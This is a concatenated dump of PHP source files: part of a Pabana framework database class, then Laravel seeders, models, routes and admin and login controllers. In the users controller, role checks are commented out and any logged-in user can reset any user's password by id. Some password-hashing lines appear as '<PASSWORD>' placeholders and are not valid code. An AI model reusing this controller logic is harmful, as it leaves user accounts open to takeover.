($this->isConnected()) { $this->pdo->beginTransaction(); return true; } else { return false; } } /** * Commits a transaction * * @since 1.1 * @return bool True if success or false. */ public function commit() { // Check if connection is open if ($this->isConnected()) { $this->pdo->commit(); return true; } else { return false; } } /** * Close a connection * * Close a connection to a database and destroy PDO object * * @since 1.0 * @return bool True if success or false. */ public function disconnect() { // Check if connection is open if ($this->isConnected()) { // Destroy PDO object $this->pdo = null; return true; } else { return false; } } /** * Execute an SQL statement * * Execute an SQL statement and return the number of affected rows * * @since 1.0 * @param string $query SQL Statement. * @return bool|integer Return an integer with number of affected rows or return false if error. */ public function exec($query) { if ($this->isConnected()) { try { return $this->pdo->exec($query); } catch (PDOException $e) { throw new \Exception($e->getMessage()); return false; } } else { return false; } } /** * Get PDO Object * * Return current PDO object use by this connection * * @since 1.0 * @return bool|\PDO Return current PDO object use by this connection or return false if error. */ public function getPdoObject() { if ($this->isConnected()) { return $this->pdo; } else { return false; } } /** * Get Connection name * * Return current connection name * * @since 1.0 * @return string Return current connection name. */ public function getName() { return $this->name; } /** * Check if connection is establised * * @since 1.0 * @return bool Return true if connection is establised or return false. */ public function isConnected() { return isset($this->pdo); } /** * Check if actual request is transaction * * @since 1.1 * @return bool Return true if actual request is a transaction */ public function isTransaction() { if ($this->isConnected()) { return $this->pdo->inTransaction(); } else { return false; } } /** * Get last insert ID * * Returns the ID of the last inserted row or sequence value * * @since 1.0 * @return bool|integer Returns the ID of the last inserted row or sequence value */ public function lastInsertId() { if ($this->isConnected()) { try { return $this->pdo->lastInsertId(); } catch (PDOException $e) { throw new \Exception($e->getMessage()); return false; } } else { return false; } } /** * Executes an SQL statement and return result * * Executes an SQL statement, returning a result set as a \Pabana\Database\Statement object * * @since 1.0 * @param string $query SQL Statement. * @return bool|\Pabana\Database\Statement Returns Statement object or false if error */ public function query($query) { if ($this->isConnected()) { try { $statement = $this->pdo->query($query); return new Statement($statement); } catch (PDOException $e) { throw new \Exception($e->getMessage()); return false; } } else { return false; } } /** * Rolls back a transaction * * @since 1.1 * @return bool True if success or false. */ public function rollBack() { // Check if connection is open if ($this->isConnected()) { $this->pdo->rollBack(); return true; } else { return false; } } /** * Set Connection name * * @since 1.0 * @param string $name Connection name. * @return void */ public function setName($name) { $this->name = $name; } } <file_sep>/src/Mvc/Model.php <?php /** * Pabana : PHP Framework (https://pabana.futurasoft.fr) * Copyright (c) FuturaSoft (https://futurasoft.fr) * * Licensed under BSD-3-Clause License * For full copyright and license information, please see the LICENSE.txt * Redistributions of files must retain the above copyright notice. * * @copyright Copyright (c) FuturaSoft (https://futurasoft.fr) * @link https://pabana.futurasoft.fr Pabana Project * @since 1.0 * @license https://opensource.org/licenses/BSD-3-Clause BSD-3-Clause License */ namespace Pabana\Mvc; use Pabana\Core\Configuration; use Pabana\Database\ConnectionCollection; /** * Model class * * Manage Model */ class Model { /** * @var Redirection to $connection var. * @since 1.0 * @deprecated deprecated since version 1.1 */ public $Connection; /** * @var \Pabana\Database\Connection Object Connection (default connection). * @since 1.1 */ public $connection; /** * Initialize model * * If default Connection is defined, call it in $Connection var. * * @since 1.0 * @return void */ public function __construct() { if (ConnectionCollection::existsDefault() === true) { $this->connection = ConnectionCollection::getDefault(); // To maintain compatibility with version 1.0 $this->Connection = $this->connection; } } /** * Call a model class * * @since 1.0 * @param string $modelName Model class name * @return object|bool Return model defined in $modelName or false if error */ public function get($modelName) { $modelNamespace = Configuration::read('mvc.model.namespace'); $modelNamespace = $modelNamespace . '\\' . ucFirst($modelName); if (!class_exists($modelNamespace)) { trigger_error('Model "' . $modelNamespace . '" doesn\'t exist.', E_USER_ERROR); return false; } return new $modelNamespace(); } }
84abd55496462a9a2a6d630fa4ef5188b5d891e9
[ "PHP" ]
3
PHP
FuturaSoft/pabana
b3a95eeb976042ac2a393cc10755a7adbc164c24
23ee3f68d4eab66886f330b5a9f60e31a0998e68
refs/heads/master
<file_sep><?php use Illuminate\Database\Seeder; use Faker\Factory as Faker; use App\Invoice; use App\Product; class InvoiceItemsTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $faker = Faker::create(); // following line retrieve all the invoice_ids from DB $invoices = Invoice::all()->pluck('id'); // following line retrieve all the product_ids from DB $products = Product::all()->pluck('id'); foreach (range(1,90) as $index) { $quantity = $faker->numberBetween($min = 1, $max = 5); $price = $faker->numberBetween($min = 100, $max = 1000); DB::table('invoiceItems')->insert([ 'invoice_id' => $faker->randomElement($invoices), 'product_id' => $faker->randomElement($products), 'quantity' => $quantity, 'price' => $price, 'total' => ($quantity * $price) ]); } } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; use Auth; class Comment extends Model { protected $fillable = []; public function commentable() { return $this->morphTo(); } public function post() { return $this->belongsTo('App\Post'); } public function user() { return $this->belongsTo('App\User'); } public function recipe() { return $this->belongsTo('App\Recipe'); } public function scopeNewComments($query) { return $query ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) //->orderBy('title','DESC') ; } } <file_sep><?php namespace App\Http\Controllers\Backend; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Profile; use App\Role; use App\User; use Auth; use DB; use Hash; use Session; use App\Http\Requests\CreateUserRequest; use App\Http\Requests\UpdateUserRequest; //use App\Http\Requests\UpdateUserPWDRequest; class UsersController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { // only allow authenticated users to access these pages //$this->middleware('auth', ['except'=>['index','show']]); // changing auth to guest would only allow guests to access these pages // you can also restrict the actions by adding ['except' => 'name_of_action'] at the end $this->middleware('auth'); //Log::useFiles(storage_path().'/logs/articles.log'); //Log::useFiles(storage_path().'/logs/audits.log'); } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index(Request $request, $key=null) { // if(!checkACL('guest')) { // return view('errors.403'); // } //$alphas = range('A', 'Z'); $alphas = DB::table('users') ->select(DB::raw('DISTINCT LEFT(username, 1) as letter')) //->where('published_at','<', Carbon::Now()) //->where('deleted_at','=', Null) ->orderBy('letter') ->get(); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $users = User::with('role','profile') ->where('username', 'like', $key . '%') ->orderBy('username', 'asc') ->get(); return view('backend.users.index', compact('users','letters')); } // No $key value is passed $users = User::with('role','profile')->get(); return view('backend.users.index', compact('users','letters')); } ################################################################################################################## # ██████╗██████╗ ███████╗ █████╗ ████████╗███████╗ # ██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██████╔╝█████╗ ███████║ ██║ █████╗ # ██║ ██╔══██╗██╔══╝ ██╔══██║ ██║ ██╔══╝ # ╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗ # ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ // Show the form for creating a new resource ################################################################################################################## public function create() { $roles = Role::where('id','<=',70)->orderBy('id','desc')->pluck('display_name','id'); return view('backend.users.create', compact('roles')); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Store a newly created resource in storage ################################################################################################################## public function store(CreateUserRequest $request) { // $input = $request->all(); // $input['password'] = <PASSWORD>($input['password']); // $user = User::create($input); // Session::flash('success','User created successfully!'); // return redirect()->route('backend.users.index'); $user = new User; $user->username = $request->username; $user->email = $request->email; $user->role_id = $request->role_id; $user->password = <PASSWORD>($request['<PASSWORD>']); $user->save(); $user->profile()->save(new Profile); Session::flash('success','User created successfully!'); return redirect()->route('backend.users.index'); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function show($id) { $user = User::findOrFail($id); return view('backend.users.show', compact('user')); } ################################################################################################################## # ███████╗██████╗ ██╗████████╗ # ██╔════╝██╔══██╗██║╚══██╔══╝ # █████╗ ██║ ██║██║ ██║ # ██╔══╝ ██║ ██║██║ ██║ # ███████╗██████╔╝██║ ██║ # ╚══════╝╚═════╝ ╚═╝ ╚═╝ // Show the form for editing the specified resource ################################################################################################################## public function edit($id) { $user = User::findOrFail($id); $roles = Role::where('id','<=',70)->orderBy('id','desc')->pluck('display_name','id'); return view('backend.users.edit', compact('user','roles')); } ################################################################################################################## # ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ # ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗ # ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝ # ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ // UPDATE :: Update the specified resource in storage ################################################################################################################## public function update(UpdateUserRequest $request, $id) { // if(!checkACL('manager')) { // return view('errors.403'); // } // Get the user from the database $user = User::findOrFail($id); $user->username = $request->input('username'); $user->email = $request->input('email'); $user->role_id = $request->input('role_id'); // Save the data to the database $user->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") UPDATED user (" . $user->id . ")\r\n", [$user = json_decode($user, true)]); // Set flash data with success message Session::flash ('success', 'The user was successfully updated!'); // Redirect to posts.show return redirect()->route('backend.users.index'); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗██████╗ ██████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗╚██╗ ██╔╝ # ██║ ██║█████╗ ███████╗ ██║ ██████╔╝██║ ██║ ╚████╔╝ # ██║ ██║██╔══╝ ╚════██║ ██║ ██╔══██╗██║ ██║ ╚██╔╝ # ██████╔╝███████╗███████║ ██║ ██║ ██║╚██████╔╝ ██║ # ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ // Remove the specified resource from storage // Used in the index page and trashAll action to soft delete multiple records ################################################################################################################## public function destroy($id) { // if(!checkACL('manager')) { // return view('errors.403'); // } $user = User::findOrFail($id); // Delete the user's profile image // We will not do this here in case the user wants to re-activate his account // if($user->profile->image) { // unlink(public_path('_profiles/' . $user->profile->image)); // } // Delete the Profile $user->profile->delete(); // Delete user from Users table $user->delete(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") DELETED category (" . $category->id . ")\r\n", [$category = json_decode($category, true)]); Session::flash('success', 'The user and his profile have successfully been trashed!'); return redirect()->route('backend.users.index'); } ################################################################################################################## # ████████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗ # ╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗ # ██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║ # ██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║ # ██║ ██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝ # ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ // Display a list of resources that have been trashed (Soft Deleted) ################################################################################################################## public function trashed(Request $request) { // if(!checkACL('guest')) { // return view('errors.403'); // } $users = User::onlyTrashed()->get(); // dd($users); return view('backend.users.trashed', compact('users')); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ██████╔╝█████╗ ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ██╔══██╗██╔══╝ ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ██║ ██║███████╗███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // RESTORE TRASHED FILE ################################################################################################################## public function restore($id) { $user = User::withTrashed()->findOrFail($id); // Restore the user's profile $user->profile()->withTrashed()->restore(); // Restore the user's account $user->restore(); Session::flash ('success','The user was successfully restored.'); return redirect()->route('backend.users.trashed'); } ################################################################################################################## # ██████╗ ███████╗██╗ ███████╗████████╗███████╗ ████████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗ # ██╔══██╗██╔════╝██║ ██╔════╝╚══██╔══╝██╔════╝ ╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗ # ██║ ██║█████╗ ██║ █████╗ ██║ █████╗ ██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║ # ██║ ██║██╔══╝ ██║ ██╔══╝ ██║ ██╔══╝ ██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║ # ██████╔╝███████╗███████╗███████╗ ██║ ███████╗ ██║ ██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝ # ╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ // Permanently remove the specified resource from storage - individual record ################################################################################################################## public static function deleteTrashed($id) { // if(!checkACL('manager')) { // return view('errors.403'); // } //dd($id); $user = User::withTrashed()->findOrFail($id); $user->forceDelete(); Session::flash ('success','The user was deleted successfully.'); return redirect()->route('backend.users.trashed'); } ################################################################################################################## # ██████╗██╗ ██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗ ██████╗ ██╗ ██╗██████╗ # ██╔════╝██║ ██║██╔══██╗████╗ ██║██╔════╝ ██╔════╝ ██╔══██╗██║ ██║██╔══██╗ # ██║ ███████║███████║██╔██╗ ██║██║ ███╗█████╗ ██████╔╝██║ █╗ ██║██║ ██║ # ██║ ██╔══██║██╔══██║██║╚██╗██║██║ ██║██╔══╝ ██╔═══╝ ██║███╗██║██║ ██║ # ╚██████╗██║ ██║██║ ██║██║ ╚████║╚██████╔╝███████╗ ██║ ╚███╔███╔╝██████╔╝ # ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ╚═╝ ╚══╝╚══╝ ╚═════╝ ################################################################################################################## public function changePwd(Request $request, $id) { $user = User::findOrFail($id); //dd($user); return view('backend.users.changePwd', compact('user')); } ################################################################################################################## # ██████╗██╗ ██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗ ██████╗ ██╗ ██╗██████╗ # ██╔════╝██║ ██║██╔══██╗████╗ ██║██╔════╝ ██╔════╝ ██╔══██╗██║ ██║██╔══██╗ # ██║ ███████║███████║██╔██╗ ██║██║ ███╗█████╗ ██████╔╝██║ █╗ ██║██║ ██║ # ██║ ██╔══██║██╔══██║██║╚██╗██║██║ ██║██╔══╝ ██╔═══╝ ██║███╗██║██║ ██║ # ╚██████╗██║ ██║██║ ██║██║ ╚████║╚██████╔╝███████╗ ██║ ╚███╔███╔╝██████╔╝ # ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ╚═╝ ╚══╝╚══╝ ╚═════╝ ################################################################################################################## public function changePassword(Request $request, $id){ // if (!(Hash::check($request->get('current-password'), Auth::user()->password))) { // // The current password does not match the one provided // return redirect()->back()->with("error","Your current password does not match the password you provided. Please try again.")->withInput(['tab'=>'changePwd']); // } //dd($request); // if(strcmp($request->get('current-password'), $request->get('new-password')) == 0){ // // Current password and new password are the same // return redirect()->back()->with("error","The new password cannot be the same as your current password. Please choose a different password.")->withInput(['tab'=>'changePwd']); // } $validatedData = $request->validate([ //'current-password' => '<PASSWORD>', 'new-password' => '<PASSWORD>|string|min:6|confirmed', ]); //Change Password $user = User::findOrFail($id); $user->password = <PASSWORD>($request->get('new-password')); $user->save(); Session::flash ('success', $user->username . '\'s password was reset successfully.'); return redirect()->route('backend.users.index'); // return redirect()->back()->with("success","Password changed successfully!")->withInput(['tab'=>'changePwd']); } ################################################################################################################## # ███╗ ██╗███████╗██╗ ██╗ ██╗ ██╗███████╗███████╗██████╗ ███████╗ # ████╗ ██║██╔════╝██║ ██║ ██║ ██║██╔════╝██╔════╝██╔══██╗██╔════╝ # ██╔██╗ ██║█████╗ ██║ █╗ ██║ ██║ ██║███████╗█████╗ ██████╔╝███████╗ # ██║╚██╗██║██╔══╝ ██║███╗██║ ██║ ██║╚════██║██╔══╝ ██╔══██╗╚════██║ # ██║ ╚████║███████╗╚███╔███╔╝ ╚██████╔╝███████║███████╗██║ ██║███████║ # ╚═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝ // Display a listing of the resource that were created since the user's last login. ################################################################################################################## public function newUsers(Request $request, $key=null) { // if(!checkACL('guest')) { // return view('errors.403'); // } //$alphas = range('A', 'Z'); $alphas = DB::table('users') ->select(DB::raw('DISTINCT LEFT(username, 1) as letter')) ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) // ->where('personal', '!=', 1) // ->where('published_at','!=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $users = User::with('role','profile')->newUsers() ->where('username', 'like', $key . '%') ->get(); return view('backend.users.newUsers', compact('users','letters')); } $users = User::with('role','profile')->newUsers()->get(); return view('backend.users.newUsers', compact('users','letters')); } ################################################################################################################## # ██╗███╗ ██╗ █████╗ ██████╗████████╗██╗██╗ ██╗███████╗ ██╗ ██╗███████╗███████╗██████╗ ███████╗ # ██║████╗ ██║██╔══██╗██╔════╝╚══██╔══╝██║██║ ██║██╔════╝ ██║ ██║██╔════╝██╔════╝██╔══██╗██╔════╝ # ██║██╔██╗ ██║███████║██║ ██║ ██║██║ ██║█████╗ ██║ ██║███████╗█████╗ ██████╔╝███████╗ # ██║██║╚██╗██║██╔══██║██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ██║ ██║╚════██║██╔══╝ ██╔══██╗╚════██║ # ██║██║ ╚████║██║ ██║╚██████╗ ██║ ██║ ╚████╔╝ ███████╗ ╚██████╔╝███████║███████╗██║ ██║███████║ # ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝ // Display a listing of the resource that were created since the user's last login. ################################################################################################################## public function inactiveUsers(Request $request, $key=null) { // if(!checkACL('guest')) { // return view('errors.403'); // } //$alphas = range('A', 'Z'); $alphas = DB::table('users') ->select(DB::raw('DISTINCT LEFT(username, 1) as letter')) //->where('user_id', '=', Auth::user()->id) ->where('login_count', '=', 0) // ->where('published_at','!=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $users = User::inactiveUsers() ->where('username', 'like', $key . '%') ->get(); return view('backend.users.inactiveUsers', compact('users','letters')); } $users = User::inactiveUsers()->get(); return view('backend.users.inactiveUsers', compact('users','letters')); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class WoodProjectImage extends Model { protected $table = 'image_woodproject'; protected $fillable = ['project_id', 'description', 'image', 'title', 'size']; // An ImageProject belongs to a Project public function woodProject() { return $this->belongsTo('App\WoodProject'); } }<file_sep><?php namespace App\Http\Controllers\Auth; use App\Http\Controllers\Controller; use Illuminate\Foundation\Auth\AuthenticatesUsers; use Illuminate\Http\Request; use App\User; use App\Profile; use Carbon\Carbon; use Auth; use Session; class LoginController extends Controller { /* |-------------------------------------------------------------------------- | Login Controller |-------------------------------------------------------------------------- | | This controller handles authenticating users for the application and | redirecting them to your home screen. The controller uses a trait | to conveniently provide its functionality to your applications. | */ use AuthenticatesUsers; /** * Where to redirect users after login. * * @var string */ // No longer needed as we override the authenticated function below //protected $redirectTo = '/'; /** * Create a new controller instance. * * @return void */ public function __construct() { $this->middleware('guest')->except('logout'); } /** * Get the needed authorization credentials from the request. * * @param \Illuminate\Http\Request $request * @return array */ protected function credentials(Request $request) { $field = filter_var($request->get($this->username()), FILTER_VALIDATE_EMAIL) ? $this->username() : 'username'; return [ $field => $request->get($this->username()), 'password' => $request->password, ]; } // Override the default function form Laravel protected function authenticated(Request $request, User $user) { // Check if user that is logging in has a profile if($user->profile) { // If a profile exists, redirect them to their homepage of choice return redirect()->intended(Auth::user()->profile->landingPage->name); } // User user that is loggin in does not have a profile // Create a profile for the user $user->profile()->save(new Profile); // Redirect the user to the homepage return redirect('/'); } // protected function setUserSession($user) // { // session( // [ // 'userName' => $user->username, // 'email' => $user->email, // 'emailPublic' => $user->email_public, // 'createdAt' => $user->created_at, // 'firstName' => $user->profile->first_name, // 'lastName' => $user->profile->last_name, // 'telephone' => $user->profile->telephone, // 'authorFormat' => $user->profile->author_format, // 'dateFormat' => $user->profile->date_format, // 'image' => $user->profile->image, // 'rowsPerPage' => $user->profile->rows_per_page, // ] // ); // } /** * Log the user out of the application. * * @return \Illuminate\Http\Response */ public function logout(Request $request) { $user = Auth::user(); $user->last_login_date = Carbon::Now(); $user->save(); $this->guard()->logout(); $request->session()->invalidate(); return redirect('/'); } } <file_sep><?php use Illuminate\Database\Seeder; use Faker\Factory as Faker; use App\Client; class InvoicesTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $faker = Faker::create(); // following line retrieve all the user_ids from DB $clients = Client::all()->pluck('id'); foreach (range(1,25) as $index) { $amount_charged = $faker->numberBetween($min = 1000, $max = 9000); $hst = $amount_charged * 0.13; $sub_total = $amount_charged + $hst; $wsib = $amount_charged * 0.06; $income_taxes = $amount_charged * 0.26; $total_deductions = $wsib + $income_taxes; $total = $amount_charged - $wsib - $income_taxes; DB::table('invoices')->insert([ 'client_id' => $faker->randomElement($clients), // 'work_date' => $faker->dateTimeThisYear($max = 'now', $timezone = null), 'notes' => $faker->paragraph, 'status' => $faker->randomElement($array = array ('logged','invoiced','paid')), 'amount_charged' => $amount_charged, 'hst' => $hst, 'sub_total' => $sub_total, 'wsib' => $wsib, 'income_taxes' => $income_taxes, 'total_deductions' => $total_deductions, 'total' => $total, 'created_at' => $faker->dateTimeThisYear($max = 'now', $timezone = null), 'updated_at' => $faker->dateTimeThisYear($max = 'now', $timezone = null) ]); } } } <file_sep><?php // ARTICLES Route::group(['prefix'=>'articles'], function () { Route::get('newArticles/{key?}', 'ArticlesController@newArticles') ->name('articles.newArticles'); // Route::get('published/{key?}', 'ArticlesController@published') ->name('articles.published'); Route::get('unpublished/{key?}', 'ArticlesController@unpublished') ->name('articles.unpublished'); Route::get('future/{key?}', 'ArticlesController@future') ->name('articles.future'); Route::get('myArticles/{key?}', 'ArticlesController@myArticles') ->name('articles.myArticles'); Route::get('showTrashed/{id}', 'ArticlesController@showTrashed') ->name('articles.showTrashed'); Route::get('myFavorites', 'ArticlesController@myFavorites') ->name('articles.myFavorites'); Route::get('trashed', 'ArticlesController@trashed') ->name('articles.trashed'); Route::get('create', 'ArticlesController@create') ->name('articles.create'); Route::get('{id}/addFavorite', 'ArticlesController@addFavorite') ->name('articles.addFavorite'); Route::get('{id}/removeFavorite', 'ArticlesController@removeFavorite') ->name('articles.removeFavorite'); Route::get('{id}/duplicate', 'ArticlesController@duplicate') ->name('articles.duplicate'); Route::get('{id}/publish', 'ArticlesController@publish') ->name('articles.publish'); Route::get('{id}/unpublish', 'ArticlesController@unpublish') ->name('articles.unpublish'); Route::get('{id}/resetViews', 'ArticlesController@resetViews') ->name('articles.resetViews'); Route::get('{id}/edit', 'ArticlesController@edit') ->name('articles.edit'); Route::get('{id}/show', 'ArticlesController@show') ->name('articles.show'); Route::get('/{key?}', 'ArticlesController@index') ->name('articles.index'); Route::get('print/{id}', 'ArticlesController@print') ->name('articles.print'); Route::get('import', 'ArticlesController@import') ->name('articles.import'); Route::get('downloadExcel/{type}', 'ArticlesController@downloadExcel') ->name('articles.downloadExcel'); Route::get('restore/{id}', 'ArticlesController@restore') ->name('articles.restore'); Route::get('pdfview', 'ArticlesController@pdfview') ->name('articles.pdfview'); Route::get('archives/{year}/{month}', 'ArticlesController@archive') ->name('articles.archive'); Route::put('update/{id}', 'ArticlesController@update') ->name('articles.update'); Route::post('', 'ArticlesController@store') ->name('articles.store'); Route::post('{id}/storeComment', 'ArticlesController@storeComment') ->name('articles.storeComment'); Route::post('trashAll', 'ArticlesController@trashAll') ->name('articles.trashAll'); Route::post('deleteAll', 'ArticlesController@deleteAll') ->name('articles.deleteAll'); Route::post('restoreAll', 'ArticlesController@restoreAll') ->name('articles.restoreAll'); Route::post('importExcel', 'ArticlesController@importExcel') ->name('articles.importExport'); Route::post('unpublishAll', 'ArticlesController@unpublishAll') ->name('articles.unpublishAll'); Route::post('publishAll', 'ArticlesController@publishAll') ->name('articles.publishAll'); Route::delete('{id}', 'ArticlesController@destroy') ->name('articles.destroy'); Route::delete('deleteTrashed/{id}', 'ArticlesController@deleteTrashed') ->name('articles.deleteTrashed'); }); // Route::get('articles/{key?}', 'ArticlesController@index') ->name('articles.index');<file_sep><?php // ROLES Route::get('role/{id}', ['uses' => 'RolesController@show', 'as' => 'roles.show']); Route::group(['prefix'=>'roles'], function() { $c = 'RolesController@'; $r = 'roles.'; Route::get('newRoles', ['uses' => $c . 'newRoles', 'as' => $r . 'newRoles']); Route::get('create', ['uses' => $c . 'create', 'as' => $r . 'create']); Route::post('store', ['uses' => $c . 'store', 'as' => $r . 'store']); Route::get('{key?}', ['uses' => $c . 'index', 'as' => $r . 'index']); Route::get('{id}/edit', ['uses' => $c . 'edit', 'as' => $r . 'edit']); Route::put('{id}', ['uses' => $c . 'update', 'as' => $r . 'update']); Route::delete('{id}', ['uses' => $c . 'destroy', 'as' => $r . 'destroy']); Route::delete('deleteTrashed/{id}', 'RolesController@deleteTrashed') ->name('roles.deleteTrashed'); }); <file_sep><?php use Illuminate\Database\Seeder; class ImageWoodprojectTableSeeder extends Seeder { /** * Auto generated seed file * * @return void */ public function run() { \DB::table('image_woodproject')->delete(); \DB::table('image_woodproject')->insert(array ( 0 => array ( 'id' => 18, 'wood_project_id' => 12, 'ori_name' => 'Chrysanthemum', 'new_name' => 'Chrysanthemum_1517502104.jpg', 'size' => '879394', 'description' => NULL, 'created_at' => '2018-02-01 11:21:44', 'updated_at' => '2018-02-01 11:21:44', ), 1 => array ( 'id' => 19, 'wood_project_id' => 12, 'ori_name' => 'Hydrangeas', 'new_name' => 'Hydrangeas_1517502118.jpg', 'size' => '595284', 'description' => NULL, 'created_at' => '2018-02-01 11:21:58', 'updated_at' => '2018-02-01 11:21:58', ), )); } }<file_sep><?php use Illuminate\Database\Seeder; class ModulesTableSeeder extends Seeder { /** * Auto generated seed file * * @return void */ public function run() { \DB::table('modules')->delete(); \DB::table('modules')->insert(array ( 0 => array ( 'id' => 1, 'name' => 'articles', 'created_at' => NULL, 'updated_at' => NULL, ), 1 => array ( 'id' => 2, 'name' => 'posts', 'created_at' => NULL, 'updated_at' => NULL, ), 2 => array ( 'id' => 3, 'name' => 'recipes', 'created_at' => NULL, 'updated_at' => NULL, ), 3 => array ( 'id' => 4, 'name' => 'wood projects', 'created_at' => NULL, 'updated_at' => NULL, ), 4 => array ( 'id' => 5, 'name' => 'wood specie', 'created_at' => NULL, 'updated_at' => NULL, ), 5 => array ( 'id' => 6, 'name' => 'wood type', 'created_at' => NULL, 'updated_at' => NULL, ), 6 => array ( 'id' => 7, 'name' => 'stain type', 'created_at' => NULL, 'updated_at' => NULL, ), 7 => array ( 'id' => 8, 'name' => 'stain color', 'created_at' => NULL, 'updated_at' => NULL, ), 8 => array ( 'id' => 9, 'name' => 'stain sheen', 'created_at' => NULL, 'updated_at' => NULL, ), 9 => array ( 'id' => 10, 'name' => 'finish type', 'created_at' => NULL, 'updated_at' => NULL, ), 10 => array 